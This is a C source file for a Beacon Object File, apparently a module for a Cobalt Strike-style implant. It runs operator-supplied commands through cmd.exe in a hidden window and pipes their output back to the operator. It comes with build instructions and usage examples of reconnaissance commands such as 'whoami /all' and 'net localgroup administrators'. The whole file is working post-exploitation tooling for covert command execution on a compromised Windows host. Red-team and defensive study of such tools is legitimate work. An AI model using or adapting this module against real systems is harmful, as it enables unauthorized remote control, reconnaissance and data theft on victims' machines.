shell.c

/*
 * shell.c > Command Execution BOF
 *
 * Runs a shell command via cmd.exe /c and captures stdout + stderr
 * through an anonymous pipe, forwarding all output back to the operator.
 *
 * Usage:
 *   loader.exe shell.o str:"whoami /all"
 *   loader.exe shell.o str:"net localgroup administrators"
 *   loader.exe shell.o str:"ipconfig /all"
 *
 * Build:
 *   x86_64-w64-mingw32-gcc -o shell.o -c shell.c -masm=intel -O0 -mno-stack-arg-probe -fno-stack-check
 *
 * Blog: https://yourblog.com/bof-shell
 */

#include <windows.h>
#include "beacon.h"

DECLSPEC_IMPORT BOOL  WINAPI KERNEL32$CreatePipe(PHANDLE, PHANDLE, LPSECURITY_ATTRIBUTES, DWORD);
DECLSPEC_IMPORT BOOL  WINAPI KERNEL32$SetHandleInformation(HANDLE, DWORD, DWORD);
DECLSPEC_IMPORT BOOL  WINAPI KERNEL32$CreateProcessA(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
DECLSPEC_IMPORT BOOL  WINAPI KERNEL32$ReadFile(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$WaitForSingleObject(HANDLE, DWORD);
DECLSPEC_IMPORT BOOL  WINAPI KERNEL32$CloseHandle(HANDLE);
DECLSPEC_IMPORT BOOL  WINAPI KERNEL32$GetExitCodeProcess(HANDLE, LPDWORD);
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(void);

#define BUF_SIZE   4096
#define TIMEOUT_MS 10000

__attribute__((used))
void go(char *args, int len) {
    datap parser;
    BeaconDataParse(&parser, args, len);

    int         cmdLen = 0;
    const char *cmd    = BeaconDataExtract(&parser, &cmdLen);

    if (!cmd || cmdLen == 0) {
        BeaconPrintf(CALLBACK_ERROR, "[shell] no command provided\n");
        return;
    }

    /* build "cmd.exe /c <command>" without CRT */
    char        fullCmd[1024] = {0};
    const char *prefix        = "cmd.exe /c ";
    int i;
    for (i = 0; i < 11; i++)                    fullCmd[i]    = prefix[i];
    for (i = 0; i < cmdLen && (11+i) < 1023; i++) fullCmd[11+i] = cmd[i];

    /* create anonymous pipe — child writes to hWrite, we read from hRead */
    HANDLE             hRead = NULL, hWrite = NULL;
    SECURITY_ATTRIBUTES sa   = {sizeof(SECURITY_ATTRIBUTES), NULL, TRUE};

    if (!KERNEL32$CreatePipe(&hRead, &hWrite, &sa, 0)) {
        BeaconPrintf(CALLBACK_ERROR, "[shell] CreatePipe failed (GLE=%lu)\n",
                     KERNEL32$GetLastError());
        return;
    }

    /* our read end must NOT be inherited by the child */
    KERNEL32$SetHandleInformation(hRead, HANDLE_FLAG_INHERIT, 0);

    /* spawn cmd.exe with stdout/stderr redirected into the pipe */
    STARTUPINFOA       si = {0};
    si.cb        = sizeof(STARTUPINFOA);
    si.dwFlags   = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    si.hStdOutput  = hWrite;
    si.hStdError   = hWrite;

    PROCESS_INFORMATION pi = {0};

    BOOL created = KERNEL32$CreateProcessA(
        NULL, fullCmd, NULL, NULL,
        TRUE, CREATE_NO_WINDOW,
        NULL, NULL, &si, &pi
    );

    /* close parent's copy of the write end — if we keep it open, ReadFile
     * blocks forever even after the child exits (pipe still has a writer) */
    KERNEL32$CloseHandle(hWrite);

    if (!created) {
        BeaconPrintf(CALLBACK_ERROR, "[shell] CreateProcess failed (GLE=%lu)\n",
                     KERNEL32$GetLastError());
        KERNEL32$CloseHandle(hRead);
        return;
    }

    /* read and forward all output */
    char  buf[BUF_SIZE];
    DWORD bytesRead = 0;
    while (KERNEL32$ReadFile(hRead, buf, BUF_SIZE - 1, &bytesRead, NULL)
           && bytesRead > 0)
        BeaconOutput(CALLBACK_OUTPUT, buf, bytesRead);

    KERNEL32$WaitForSingleObject(pi.hProcess, TIMEOUT_MS);

    DWORD exitCode = 0;
    KERNEL32$GetExitCodeProcess(pi.hProcess, &exitCode);
    if (exitCode != 0)
        BeaconPrintf(CALLBACK_ERROR, "[exit code: %lu]\n", exitCode);

    KERNEL32$CloseHandle(pi.hProcess);
    KERNEL32$CloseHandle(pi.hThread);
    KERNEL32$CloseHandle(hRead);
}